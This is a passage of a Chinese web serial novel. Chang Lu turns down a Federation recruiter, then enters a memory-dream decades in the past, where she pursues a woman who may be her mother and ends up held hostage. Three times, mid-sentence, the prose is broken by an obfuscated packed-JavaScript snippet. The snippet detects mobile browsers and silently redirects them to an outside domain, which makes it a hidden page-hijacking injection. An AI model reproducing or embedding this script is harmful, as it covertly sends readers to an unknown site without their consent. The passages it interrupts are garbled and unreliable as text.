至少,目前没事。 她按照平时工作日的习惯,刷牙洗脸,把长发梳好编成辫子。 走出卫生间时,扶鸢正在厨房里做早餐,香气飘来。 她打开冰箱,听见扶鸢问:“鸡蛋要几分熟?” “我不吃了,赶着上班。”唱鹿拧开豆浆味营养剂的盖子,一饮而尽,顺手把空管丢进垃圾桶。 没有去看扶鸢是什么表情,唱鹿穿上鞋子出了门。 今天天气不错,风和日丽。 唱鹿骑摩托上班,一路也没遇见红灯,直接加大马力飙到了安保队集合点。 打完上班卡,换完工作服。 领队来敲门喊去大家开会,于是又扭头进了会议室。 今天的任务还是联邦下派的,众人叫苦不迭。 领队耐心等手下抱怨完,才慢吞吞地打开投影,“先说任务内容,清扫N311港口。昨天发生过什么事,想必大家都从新闻上看到了。一批武装恐怖分子袭击了几个由联邦看守的港口,造成了不小的人员伤亡和财产损失。” 坐在唱鹿身后的女生举手,“是刺鲸逃犯干的吗?” 领队说:“起初联邦也认为这次恐怖袭击事件是刺鲸残党的报复性反扑,但又有种种迹象表明,这些人中还参杂了不少其他组织的成员。或许是合谋,也不排除其他组织趁乱加入的可能。” “那他们这么做的目的是什么呢?为了抢夺港口的货物吗?” “如果是刺鲸,我能理解。联邦本来就是卸磨杀驴……” “咳咳,话不能乱说。联邦自有联邦的道理,虽然我们都觉得联邦的米虫不干正事,但伽马地区至今没有乱成一锅粥,不还是因为有联邦在吗?” 会议室里七嘴八舌地讨论起来。 领队清了清嗓子,讨论平息了。 所有人的目光重新集中到她身上。 领队说:“总之,我们今天的任务只是清扫战场。标记还未来得及运走的尸体,登记尚且完整的货物,如果在现场发现幸存的暴徒,可以直接击毙。车子已经在外面等着了,赶紧出发吧。” * 十二箱。 十三箱。 十四箱…… 唱鹿给所有清点出来、没有破损的货箱都打上记号。 每有二十箱标记上,便会有机器人过来将它们叠在一起并拉走。 这间仓库也盘点完了。 唱鹿看着手里的货仓列表,思绪走远。 出发前听领队说,今天只有三个港口需要盘点损失,N278港口被排除在外。 因为N278港口是暴徒袭击的重点目标,上头为了快速解决战斗,不得已动用了特殊手段。 从今往后,伽马地区再无N278港口。 是了。 这便是往生极乐。 直接将整座N278港口,连带里面的人和物,全都从地图上抹去。 “你好,这边盘点完了吗?”一个陌生又熟悉的声音在前方响起。 “差不多了,还有两间仓库没——”唱鹿边说边抬眸,看到来人是谁后,喉咙哽了一下。 闻人嘉! 她的表情有点恍惚,眼神飘来飘去,动作和语速如同蜗行牛步,“是吗,还没有盘点完啊……” 肉眼可见的不在工作状态。 唱鹿很怀疑老板娘是不是给闻人嘉灌了什么伤脑子的迷魂汤。 怎么现在看起来还迷迷瞪瞪的。 这时,有人在后头叫了声:“小嘉!” 闻人嘉转过身,依旧是那副没睡醒的表情,慢吞吞地点了点头,复又把脑袋扭回来,“那你盘点完了再叫我……我去忙了。” 唱鹿:“好。” 结果是盘点完了也找不到闻人嘉。 还是另一个联邦职员来接手,唱鹿才能准时下班。 整个白天没遇见什么糟心事,原以为可以高高兴兴去未央阁吃顿晚饭。 前脚刚迈出N311港口的大门,后脚就看见苍镹靠在一辆警车旁,饶有意趣地看着她。 好心情顿时清零。 尤其是当唱鹿准备假装没看见时,苍镹还特地和她打招呼。 打招呼也可以装没听见,可这人偏要喊她的名字。 “唱鹿,又见面了。” 唱鹿试图挤出一个礼貌的笑容,没成功,嘴角抽搐得厉害,“哈,我这不算和刺鲸扯上关系吧。” “当然,”苍镹绝对是故意停顿这么一下的,“不算。” 一颗心瞬间拽起,又缓缓落下。 唱鹿忍不住暗暗吐槽,说话能不能别大喘气! “那就好。”唱鹿悄悄挪动步子,把想偷溜的心思都写在脸上,“您要是没什么事,我就回家了。” “有事。”苍镹斜睨她,“正想找你聊聊。” “……” 好好好。 就不能有一天消停是吧! “俞瑶马上就要被联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980746|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邦收编了。这事你知道吗?” “知道。” 俞瑶是领队的本名。 领队要跳槽这事,早就在安保队内传开了,不算秘密。 苍镹颔首,“你有什么想法?” “人往高处走,水才往低处流。”唱鹿不带任何情绪,“希望她有更好的前程。” 苍镹看她的眼神如同当时在审讯室里那般,带着一种扫瞄审视的意味。 良久后,才说:“你心态不错。” 唱鹿:“我也这么觉得。” 苍镹:“脸皮也很厚。” 唱鹿很想给她一拳,忍住了。 “……多谢夸奖。” 苍镹收回那种让唱鹿感到不舒服的眼神,抱手望向天边。 “TP21安保队,这些年来为联邦办了不少事,虽然大多都是无关紧要的琐事,但联邦都记着你们的功劳。现在机会来了,俞瑶几天前向上头递了申请书,希望能把你们都纳入联邦麾下。上头还没表态,但凭俞瑶背后的关系,点头同意不过是早晚的事。” 领队的亲戚是联邦的高官。 关系很硬。 正因如此,TP21安保队才能接到许多其他安保队求之不得的工作。 虽说都是米虫不想做的脏活累活,但好歹从未断绝过,给安保队的成员们提供了较为稳定的生活保障,不至于饿死街头。 可要说联邦想收编整个安保队…… 唱鹿有点控制不住表情。 见状,苍镹笑了下,“你好像很不想加入联邦。” 当然不想。 先前是因为觉醒而不愿意接近联邦,怕被发现异常。后来是亲身体验到联邦的行事风格,内心产生了厌恶。 两者结合,成了百分百不愿意的理由。 然而这两个理由都不能宣之于口。 至少,不能对苍镹。 “我自由自在惯了,不喜欢被条条框框束缚。”唱鹿找了个借口。 也不算借口,她心底的确是有这一重考量。 昨天假扮成闻人嘉进入联邦第十三分局,简单读过联邦的职员手册。 发现里头的规矩太多,多得人头皮发麻。 光是上班迟到就有二十多条相关规定。 明确列明了因何种理由迟到,该如何记过、罚款,乃至于辞退。 扪心自问,加入安保队以来,唱鹿从未在工作日迟到过。 可自愿遵守规则,和规矩条例约束着被迫遵守规则,是两码事。 唱鹿骨子里有股叛逆的劲儿。 她可以去做,但绝不能是被迫去做。 “真的是这样吗?”苍镹不信,这个理由在她听来过于贫瘠。 “不然会是什么呢?” “假如不加入联邦,你还是会成为TP21安保队的新任领队,俞瑶也会继续关照你们。可这种关照又能维系多久?三个周期,还是半个纪年,一个纪年?”苍镹有意点醒她,“与其靠别人,不如靠自己。” 唱鹿面露不悦,“劳烦你挂心。每个人自有每个人的出路,不需要别人指手画脚。” “你的确是块难啃的硬骨头。” “我的荣幸。” 两人对视。 一个欣赏,一个防备。 苍镹扬起嘴角,“我不会强迫你,我也不会束缚你,但我会用尽一切手段会服你。” 这番话让唱鹿不禁皱起了眉头。 忍不住很怀疑这个人是不是有什么大病。 “你可以不喜欢联邦,不喜欢我。这些情绪对我而言都无关紧要。我看中的是你的脾气,你的能力,你的野性,你这个人。”苍镹打开车门,上车前留下一句,“如果你有一天想通了,可以来找我。我的队伍会永远为你留有一席之地,联邦会随时为你敞开大门。” “谢谢,但不必了。” 唱鹿冷眼以对,“我对你的好意,根本没有兴趣。” 42. 入梦 042. 光线幽暗的地下走廊,忽远忽近的滴水声绵绵不断。 腐败的墙皮剥落掉在地上没有清扫,被人来来去去踩成了粉糊。 走廊的左手边,唱鹿站在第三扇褪色的红门前,抬手轻叩两下。 门上的长方形窥视窗由内拉开,露出一双熟悉的紫罗兰色瞳仁。 庸医先看了眼唱鹿,再扫向她身后的扶鸢。 “来啦?稍等。” 说完把窗户关上了。 两人在门口耐心等了一会儿,庸医拎着一串钥匙出来,“跟我走。” 唱鹿听着钥匙碰撞发出的铛铛声,调侃道:“你除了治病救人,还做租房生意?” “没那个本事,这些都是我租的仓库。”庸医把玩着钥匙,“我是医生,又不在正规医院上班,总得自己囤点医疗用品,以备不时之需。” “有远见。” 其实从庸医房子桌上的那一堆药罐子就能看出来,平日来找她治疗的患者不少。 名叫庸医,实际医术一点也不拉跨。 光是能把扶鸢从鬼门关拉回来,已经远胜伽马地区大多数正规医生。 唱鹿也不得不承认。 偶有几次的胆大妄为,一是仗着还有扶鸢的半条命,二是有庸医兜底。 头回入梦由庸医当引路人,至少比旁人更能让唱鹿安心。 三人一路行至走廊尽头,庸医用钥匙打开正对着的铁门。 这扇铁门不同于其他房门,没有上色,没有生锈,似乎才更换过门轴,推开时都没响一下。 顶灯亮起,才看清里头有多宽阔。 至少有两个篮球场大,八台入梦装置各分左右,整齐有序地从门口往内排。 唱鹿留心装置侧边的出厂编号牌,竟然都是三个周期前才上市的最新款。 她开始怀疑入梦服务才是庸医收入来源的大头,行医不过是顺手的。 庸医熟稔地启动其中两台,见扶鸢正好奇地前后打量,猜到几分,“第一次入梦?” 扶鸢点头,“嗯。” 庸医很热心,“那我给你介绍介绍?” 扶鸢匆匆瞥了眼唱鹿。 以前有什么不清楚的,都是唱鹿在解释说明。 现在两人正冷战,看此时唱鹿的态度应该不准备插话。 扶鸢在心底叹气,“好。” 明眼瞧得两人之间有龃龉,庸医悄声问道:“吵架了?” 扶鸢摇头没说。 庸医知情识趣,不再追问。 “听说你们先前出海打捞过,我便从头简单说起。出海打捞的泡泡,分两种。一种自然形成,一种是人为孵化。泡泡提纯固化后则变成蓝血,蓝血需要经过构造才能使用。” “构造是什么意思?” “你晚上睡觉做过梦吧?梦境都是没有逻辑,一下子这样,一下子那样。泡泡呢,是已死之人的记忆。构造便是把这段记忆提取出来,让它更加稳定,稳定到能够被其他人读取。这些都由专业人员操作,不想入行,不用知道太多。” 扶鸢点头表示明白,庸医继续道:“昨天花店老板说过,你们要用的这管蓝血的原材料是人工泡泡。换句话说,这段记忆的主人十有八九还活着。“ “知道记忆的主人是谁吗?”扶鸢着急问道。 “这个嘛……得你们入梦后自己去找答案了。” 庸医走到一台入梦装置旁,拍了拍顶上类似于鱼缸的透明圆形仪器,“这个叫做缸中脑,用来稀释蓝血。” 说完,指向与缸中脑相连的胶囊状舱体,“那个叫做盐池,有躺着的,也有站着的。站的比较贵,一般私人经营都是用躺的。稀释后的蓝血会流进盐池里,你们只要在里头闭上眼睛,很快就会入梦了。” “至于我,”庸医反手指向自己,“我是引路人,从入梦到苏醒,全程都由我监控。要是中途设备出故障,我会让隐者把你们唤醒。” “隐者又是干什么的?” “隐者是可以穿梭梦境的人。入梦后,相当于意识去了另一个世界,无法强制从外界唤醒。如果你们在梦中遇见危险又出不来,隐者就会去找你们,把你们带出梦境。你不会想见到他的,见到他代表你所处的梦境已经危险到会让你丢掉性命。” 庸医稍微停顿了一分钟,让扶鸢去消化这些内容。 差不多了,再往下说:“接下来我要说的是入梦的三大规则。” “第一,除非开放式梦境,不能让梦中人发现你是外来者。” “第二,梦里没有真正的死亡,但一切感受都是真实的,对精神的伤害也是真实的。” “第三,不要反复进入同一个梦镜。” 扶鸢正欲开口提问,庸医抢答道:“知道你不懂,我一条条解释。” “泡泡可以人为制作,梦境可以定向生成。如果有什么事不方便在现实中做,就可以放到梦境里实施。比如拍卖会。因为拍卖品价格过高,不适合直接在现实中进行拍卖,可以找到梦中议价,规避冲突。这类就是开放式梦境,谁都可以参加。但你们要去的是私人梦境,是某个人过去的记忆,一段已经发生过的事。” “我们可以回到过去,但不能改变历史。”扶鸢说,“所以不能让梦中人发现我们是外来者。” “聪明!早知道我就不说那么多废话了。” “第二条,我想我可以理解。”扶鸢说,“第三条是为什么?” “反复入梦会让人分不清现实和梦境。现在,你觉得你是在做梦,还是已经清醒了?” “……” 扶鸢的面色有点难看。 庸医的反问,大抵是敲到了她的心门。 她本来就在一个虚假的世界。 如今还要迈向更不真实…… “这次的隐者是谁?”唱鹿一开口,不着痕迹地把话题岔开了。 庸医没有正面回答,“她会在你们需要的时候出现,你会认出她的。” 见唱鹿还想说话,庸医赶紧打断施法,“行了,再说下去天就要亮了。时间不等人,快把蓝血给我。” 交出蓝血,躺进盐池。 唱鹿有些惴惴不安。 不止扶鸢,这也是她第一次入梦。 说来可笑,先前常常随船出海打捞,却从未一次性攒够入梦的门票钱。 “入梦前我必须再提醒你们一次。”庸医的声音从头顶传来,“这管蓝血的密度很低,低到只能再使用一次的程度,如果你们这次入梦是为了找到某件事的答案。记住,你们只有这唯一的一次机会。” “准备好就闭上眼睛。” 两人同时缓缓阖上双眼。 庸医开始倒计时,“十、九、八……” 一种冰凉的液体从身下溢了出来。 越来越多,越漫越高,直至完全淹没躺在盐池内的两人。 泡在液体之中,唱鹿却没有窒息感,只觉得口腔里咸咸的,像尝到了海水。 短短几秒,她的眼皮开始变重。 明明一点也不困,可…… - 睁眼便是一颗子弹径直朝自己飞来。 唱鹿赶忙往边上撤,脚步还没落稳,又被人拽到了一旁的墙缝里。 是扶鸢。 她给唱鹿打了个噤声的手势,用只有两人能听到的音量说:“你能认出这是在哪里吗?” 钻墙缝的视野有限,好在唱鹿方才在慌乱中瞥见了几处景象,回想对比和一个地方很像,又不大确定。 街道上有两个帮派正在交火,射出的子弹到处乱飞。 唱鹿抄起脚边遗落的垃圾桶盖子,顶在脑袋上,伏低身子,探出头去。 真的很像。 很像弹孔街。 她认出了很多招牌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984759|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 东边那家伪装成理发店的鸭子会所,装潢特别艳俗,叫人过目不忘。 西边的二手交通工具租赁店,唱鹿的独轮摩托就是在这家店租的,可她印象中这家店的门面没这么复古啊…… 不确定,再看一眼。 这一次她往地菩萨的当铺那头望过去。 真是活见鬼了。 哪有什么当铺,根本就是个垃圾堆! 破碎的水泥,裸露的钢筋,发霉的木板,还有人缺德到把生活垃圾也丢那里了,惹来一群苍蝇绕着飞。 隔壁的机械义肢店还在。 看门的老太至少比唱鹿记忆中要年轻二十来岁。 她还是那么爱磕瓜子看热闹。 坐在小板凳上,翘着二郎腿,一边往地上吐瓜子皮,一边数着交火的两派各自死了多少人。 所以,这场梦的发生时间是二十几个纪年前? 如此想来便合理了。 这个时期的伽马地区治安极差,这条街因为地理优势成了帮派争夺的焦点。 天天长枪短炮齐开战,周围的商铺天天挨枪子。 正因如此,这条街才在许多年后得名弹孔街。 那么问题来了。 风铃为什么要让她们回到这么久以前呢? 琢磨时,扶鸢扯了扯她的手肘,“你的脸,还有头发……” 唱鹿举起垃圾桶盖,照着脑袋看。 头发变成了普通的黑色,脸蛋也变成了另一个人的模样。 再看扶鸢,早已不是那副惊为天人的美人模样。 唱鹿把垃圾桶盖递给扶鸢,好让她也看看自己的样子。 扶鸢端详着现在这张脸,有点不大习惯,“什么都变了,连衣服也变了。” “入梦毕竟是回到过去,你需要一个符合过去的身份,不然很容易暴露自己是外来者。” “怎么做到的?” “这你得问庸医,她才是引路人。” 扶鸢现在知道引路人的重要性了。 她放下垃圾桶盖,“可我们该怎么知道自己现在是谁?” “搜搜你的口袋,庸医肯定会给我们留线索。” 唱鹿掏遍全身上下的口袋,摸出了一只旧款通讯器,一张工作证,还有一把钥匙。 这张工作证是一家婚姻介绍所颁发的。 持有者名叫沈青桐。 再看扶鸢。 她也搜出了一只同款通讯器,还有一张跨境通行证。 通行证的主人名叫慕容发财。 “真是个好名字。”唱鹿深深看向扶鸢,“现在你就是慕容发财了。” “我能投诉差评吗?” 唱鹿忍住想笑的冲动,“其实你可以自称慕容鸢,名发财,字鸢。你看,你这张是神都地区颁发的跨境通行证,那边的人都是这么干的。” 扶鸢:“……” 唱鹿贴着墙壁站起来,左右观察了一下,说:“我们往右边走,可以穿到另一条街上。” 办正事要紧,扶鸢再不满意也忍下了,跟着唱鹿一起往右边挪。 蹭了半天终于出来。 唱鹿用力吸了口新鲜空气,墙缝太窄,差点窒息。 气还没喘够,忽然听到扶鸢喊了一句:“风铃!” 唱鹿还没反应过来,扶鸢一柄箭似的冲了出去,她不得不拔腿跟上。 追了大半条街,中间还拐了个大弯。 哪还有什么人影? 扶鸢愣愣地望着前方,脸上难掩失望,“我看见了,我明明看见她了,她就在前面!” 十有八九是看错了。 风铃怎么可能出现在那么久之前回忆里。 唱鹿没有去否认争辩,因为有个更重要的东西吸引了她的注意力。 ——一张宣传单。 [刺鲸诚聘有能之士,有自愿者请到……] 43. 劫持 043. 刺鲸的招募地点选定在一家奢华五星级酒店里,为期七天。 想必是大手一挥包下了整栋酒店大楼,因为门口挂出了投影告示: [暂不提供入住服务,为您带来不便实在很抱歉。] 光是招募就能做得如此豪横,哪怕没有加入刺鲸的意思,也有不少吃瓜群众前来围观。 唱鹿远远瞧着,这阵仗似乎比想象中更大。 看热闹的人不少,其中还夹杂了几名穿着联邦制服的巡警。 瞧动作表现,竟像是来帮忙维持现场治安的。 扶鸢也看出来了。 她低声感慨道:“三十年河东,三十年河西。现在风光无限,岂料日后反目,两败俱伤。” 唱鹿斜睨过去,“你现在说话的遣词造句还真有点像神都地区的人。” 正常还会在调侃几句,可心里的疙瘩又冒出来了。 只说:“过去看看。” 吃瓜群众多,排队等面试的也不少。 两人混入队伍中,等着进场。 期间有人来派发登记表,需要填好交上去,等里头的审核完才能放人进去。 填表时还发生了一个小插曲。 十来个手臂绑着黑头巾壮汉来闹场,被联邦的巡警以寻衅滋事扣押了。 唱鹿留意到这群人的头巾上有一条蟒蛇的图案,想起刺鲸壮大之前,是一个名叫血蟒的组织的江湖地位最高。 血蟒在民间的号召力一度胜过联邦,这无疑会让联邦起忌惮之心。 再后来,联邦扶持刺鲸上位,血蟒也在一次次打压下分崩离析。 血蟒彻底解散是在唱鹿出生后不久。 那么,这段梦境至少是二十年前…… 为了验证这个猜想,唱鹿拽住排在她们前面的智械,“大哥,我问您件事。” 智械僵硬地回头,“你说。” “现在是几号?”唱鹿装作很为难的样子,“12号?还是15号?我的通讯器没有购买内置日历。” 她查过身上带着的旧款通讯器。 除了最基础的通讯和支付功能,其他什么也没有。 刺鲸的宣传单上写的日期是八月十日至八月十七日。 她想先确认具体时间,再借口确认年份。 智械的电子眼稍微偏移了一点,似乎是在思考,“八月,十五日。” “年份呢?”唱鹿掰手指,“我得再算一下,上次买蛋糕把年龄弄错了,我妈把我好一顿骂。” “AC464纪年。” “好的,谢谢大哥!” 有了具体年份,唱鹿默默推算起来。 见她面色逐渐凝重,扶鸢问:“有什么不对吗?” 唱鹿沉吟,“现在是AC464纪年,二十七个纪年前。这时的刺鲸正在发育期,伽马地区最大的组织是血蟒。换算做你的时间——” 扶鸢心算得很快,“九年前,Re359年。” “风铃几岁?” “八岁。”她意识到问题所在了,“我看到的不是风铃……” 扶鸢在街头瞥见的那个女生是成年人。 会将女生认作风铃,因为她有着一双妃色的眼睛。 二十年来,除了妹妹风铃之外,扶鸢从未见过其他人也有同样的瞳色。 - 排队等了一个多小时,终于进场。 等待的大厅里人满为患。 男女老少,六大种族,从服饰打扮便能看出社会地位的不同。 有穿西装打领结,有穿工装戴安全帽的,也有全身穿钉的精神小伙,甚至是从两个地区赶过来,还没来得及换衣服的。 神都地区穿着道衣长袍,也有绣衫衬裙。 福音地区则是全身铁皮盔甲,背后系着白披风,不同部位都画了十字标记。 方才迎面撞见一个福音地区来的,张口就问:“两位漂亮的小姐,有兴趣传火吗?” 唱鹿理会,牵着扶鸢往深处挤。 人实在太多,沙丁鱼罐头似的堆在大厅里。 要不是身高还有点优势,两人估计会迷失在人海中。 好不容易在墙边找到个空位,唱鹿蹲下稍作休息。 有人在免费派水,她要了一瓶,拧开正准备往嘴里倒,耳边忽然飘来一句:“你也是冲联邦来的?” 联邦? 捕捉到关键词,唱鹿竖起耳朵。 “谁不是呢,要没有联邦背板,哪能看上这么个名不见经传的小组织!若不是看在联邦的份儿上,去血蟒不比来这里强。” “说得是。” 原来早在二十几个纪年前,人们就知道端起铁饭碗一生不愁吃喝了。 即便现在够不着铁饭碗,至少也要某个有朝一日能够上的差事。 这时谁又能想到,刺鲸会在日后成为联邦头号通缉的对象。 “这组织什么来头,联邦这么看重?” “不晓得,听说先前做了不少善事。修建孤儿院,照顾孤寡老人,最近还抓到了一名在逃通缉犯,联邦追了好几个纪年没抓到的那种,抢了银行十几个亿呢!” “难怪咯,得民心者得天下。联邦愿意扶持刺鲸,也是在扶持自己嘛。” “可不,连特警都派出来镇场子,你瞧那头——” 唱鹿一边听着,一边把眼珠子往所指的方向一移。 巧了,看到个熟人。 那是苍镹,年轻的苍镹。 估摸着只有十多岁,没那么高,也没那么壮。 她双手抱在胸前,后背靠在墙上,眼睛一动不动地注视着人头攒动。 肃穆的表情倒是能看出几分长大后的影子。 这么小的年纪就在联邦特警队工作,说明上头有人。 不仅有人,还得是能话事的人。 看到苍镹,唱鹿不免想起下午她对自己说的那番话,忍不住嘴角抽搐。 每个人都盼着进联邦,偏偏她最讨厌联邦。 正想把挪开视线,偏偏一个扎眼的发色闯了进来。 那是个女人,约莫二十五岁。 五官出挑,眉眼冷淡。 重点在头发,及腰长发,拧成麻花辫,是浅妃色,比唱鹿的稍微深一点。 女人正在和苍镹说话。 因为身高有差,苍镹必须抬头,女人也垂着眸。 两人聊得很尽兴,女人唇间有笑,苍镹的眼里满是崇拜。 唱鹿盯着那个女人。 她的脸,她的五官,她的头发。 二十七个纪年前。 另一个拥有浅妃色头发的女人。 一个可怕的念头占据了唱鹿的脑海。 她的心揪了起来,呼吸也变重了。 没留意握紧手里的水,跟前经过的人一撞,瓶子掉落,水洒了一地。 被水溅到的人纷纷散开,唱鹿立即站了起来。 女人似是要走,她下意识拨开挡在前面这群碍事的人,想追上去。 “唱……”扶鸢喊出一个字,意识到不对,连忙改口,“沈青桐!” 唱鹿没理,继续往前挤。 扶鸢不得不拽住她,“等等!” 等不了,等不了一点。 唱鹿的眼睛完全黏在那个女人身上了,女人往哪里走,她的视线就往哪里瞟。 偏偏扶鸢擒住她的手腕,唱鹿现在想走也走不了。 她着急,只能言简意赅地解释道:“那个女人的发色和我一样,现在是AC464纪年,我是AC470纪年出生。你懂吗?” 扶鸢一点就通,“你怀疑她是你妈妈?” “我不知道,我记事起就在孤儿院了……”长这么大,唱鹿从没这么慌乱过,“可能是,我得去找她,我一定要弄清楚。” 瞥见那抹浅妃色走出大门,她立刻挣脱扶鸢的手,拼尽全力地往外挤。 扶鸢自知阻止不了。 如果风铃突然出现,她也会不顾一切地追出去。 “记住庸医的话!”扶鸢只能对着唱鹿离开的方向大喊,“我在未央阁等你!” 周围的人都看过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990446|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,也不知道唱鹿有没有听到。 罢了,尽人事听天命。 - 唱鹿追出酒店大门,联邦的警车已经升空飞走了。 眺望警车留下的尾气,她怔愣许久。 那个女人穿着联邦的制服,她是联邦的人。 想要接近女人,必须找到门路进联邦…… 苍镹? 不,不行。 现在的她还只是个小屁孩,一点用没有。 假装报案,再找机会? 也不行。 她是外来者,在梦里只能随波逐流,不能成为挑事的人。 这个梦境只能进一次。 她要弄清楚那个女人和自己的关系,扶鸢要找到风铃的下落。 机会只有一次,不能乱来。 怎么办。 怎么办! 死脑子快想啊! 今天是AC464纪年的8月15日。 历史上的这一天有没有发生过什么事? 唱鹿努力回忆着,急得满头大汗。 先前为了参加恶魔猎手的选拔赛,她花了好几个周期的时间去背诵联邦的发展史。 其中也包括,近五十个纪年来,联邦处理过的各种重大事件。 平时明明记得很牢,张口就来。 可学得再多,记得再快,一到考试大脑就一片空白,有什么用! 唱鹿找了个没人的地方坐下。 告诉自己先冷静,再好好思考。 别急,深呼吸。 一定能想出来,一定要想出来。 AC464纪年,8月15日。 刺鲸首次对外招募,联邦分局派警员到场进行秩序管理。 AC464纪年,8月15日。 联邦通过限制烟酒买卖法案,严禁未成年人买卖烟酒,违法者最高可判处有期徒刑十五个纪年。 AC464纪年,8月15日。 跨境贸易中心大楼遭遇恐怖袭击,歹徒劫持人质一百余名,并造成多名无辜民众伤亡。联邦分局启动紧急预案,派出特警前往解救人质并成功击毙歹徒。 恐怖袭击…… 对,就是它了。 既然历史不能改变。 那就成为历史的一部分。 是时候前往跨境贸易中心大楼了。 * 联邦第一分局,二楼报警接线室。 三名接线员并排坐在一起,正在聊昨晚新上映的全息电影。 这份工作很清闲,可以说是整个联邦里最清闲的岗位。 平均每人每天接到的来电不足二十通,不像普通接线员那般,每天的工作量上百。 更何况,联邦在伽马地区有二十个分局。 报警电话打进第一分局的概率是二十分之一,分到自己又要三分之一,有大把时间唠唠家常。 可午饭时间刚过,三条线突然就被占满了。 报警电话接连不断,光是排队等进线就有上百个。 与此同时,一个消息在联邦内部引起轩然大波: 一伙武装齐备的歹徒闯入跨境贸易大楼,并劫持了楼内百余名民众作为人质。 - 联邦总部,综合会议室内。 二十名特警大队长各自坐在席间,他们代表各自的分局来参加这次联合会议,商讨如何处理发生在跨境贸易大楼的恐怖袭事件。 此时距离袭击发生已过去了十五分钟。 在场的各位都面色凝重,等待着站在最高讲台上的特警总署做最后的决策。 谁都不想接这个任务。 跨境贸易大楼被劫持的人质中,至少有一半来自其他两个地区。 一旦处理不好,导致人质受伤或死亡,很容易升级为外交事件。 都知道是烫手山芋,总署也不好直接下令。 “既然都不想接。” 一个浅妃色头发的女人站了起来。 她嗓音冷冽,从容不迫道: “那就我来吧。” 44. 道谢 044. 唱鹿被反剪双手,拷在一根水管上。 其他人虽被关在同一间屋子里,仅仅是戴了手铐,既没有被反剪,也没有被迫和一根水管相亲相爱。 能被如此厚待,完全是唱鹿的无心之失。 她原本打算装作手无缚鸡之力的样子,被这群歹徒扣押下来就算完事了。 偏偏对方动手动脚,她没忍住,一个抬腿把人给踹飞出去好几米。 歹徒看她有些功夫在身上,于是挑了个最佳囚禁位,必须和水管牢牢拷在一块才能安心。 反正被绑的目的达成了,安心坐等便是。 按照联邦的历史记载,从事发到解决只用了不到一个小时。 估摸着救援很快就会到。 只要能被救出去,后续肯定要去联邦做笔录。 届时就好办了,总有千百种方法能找到那个浅妃色头发的女人。 现在最让她不爽的,是背后的这根水管。 太细了。 往后靠,膈得慌。往前坐,又得挺直腰杆。怎样都不舒服。 唱鹿左蹭右挪,始终找不到舒适的姿势。 隔壁女生默默把外套脱下,垫到她腰背间。 呼,好多了。 她冲女生笑笑,“谢谢。” 女生是个犬属兽耳族,毛发是很稀有的火焰色。 她耳朵耷拉着,眼里写满恐慌,“你不害怕吗?” 联邦记载此次事件没有人质伤亡,自然不怕。 但唱鹿不能表现出来,“我怕,我就是怕才反抗,所以被锁在这里了嘛。事已至此,与其忧心忡忡地等死,不如想点开心的事。” 女生竟也没怀疑,小声啜泣起来,“我、我原本是打算买点礼物,再去见他的。谁、谁能想到,居然、居然遇见……呜呜呜……” 唱鹿最怵女生在她面前哭,尤其是这种毛茸茸的兽耳族女生。 可惜嘴笨不会安慰人,重复了半天的,“别哭了,别哭了。” 结果人家哭得更凶。 “砰!” 有名歹徒踹门进来。 他全副武装,戴头盔,穿防弹衣,握着一把冲锋枪,腰间有备用弹匣、匕首和炸弹。 唱鹿认得他的眼睛。 细长眼,眼尾上挑,透出一股阴险狡诈。 就是这人把唱鹿拷在水管边上的。 歹徒岔开步子堵在门口,没有继续往里走,而是在和共犯对话。 许是怕被联邦捕捉到信号,他们用的通讯设备是最老式的对讲机。 对面先开口:“联邦的人来了。” 他不屑,“来了又怎么样,这么多人质,不怕我们撕票?” 对面一时没有回应,他便往里走了几步。 坐在地上的人纷纷让开路,不让开的必然会挨踹。 歹徒巡视一圈,目光落在唱鹿身上,冷哼一声。 对讲机又响了,对面说:“情况有点不对。” 歹徒皱起眉头,“来了几个人?” “只有一个。” 一个? 歹徒正想骂两句,那头开始断断续续,“都……都……” “咋了,信号卡了?” “完……完了……” “什么完了?喂?说话!” 无人答应。 持续了十几秒的死寂,对讲机终于又响了。 歹徒欣喜地问:“你们没事吧?” 对讲机那头换了个人,是把清冷的女声,“有事,已经死了。” 歹徒脸色一变,“你是谁!” 对面不说话了,无情地切断了通讯。 “(脏话消音)!”歹徒怒骂着,把对讲机摔到地上,一脚踩得稀碎。 他恶狠狠地扫视过室内的每一名人质,大多都害怕得蜷缩起来瑟瑟发抖。 唯有那个被铐在水管上的女人,面无表情地与他对视。 她不怕。 唯有她不怕! 歹徒踹开挡在前面的人,径直走向那个女人。 既然这么有胆量,那就拿她来开刀! 歹徒停在唱鹿面前,举起冲锋枪,对准她的脑袋就要往下砸。 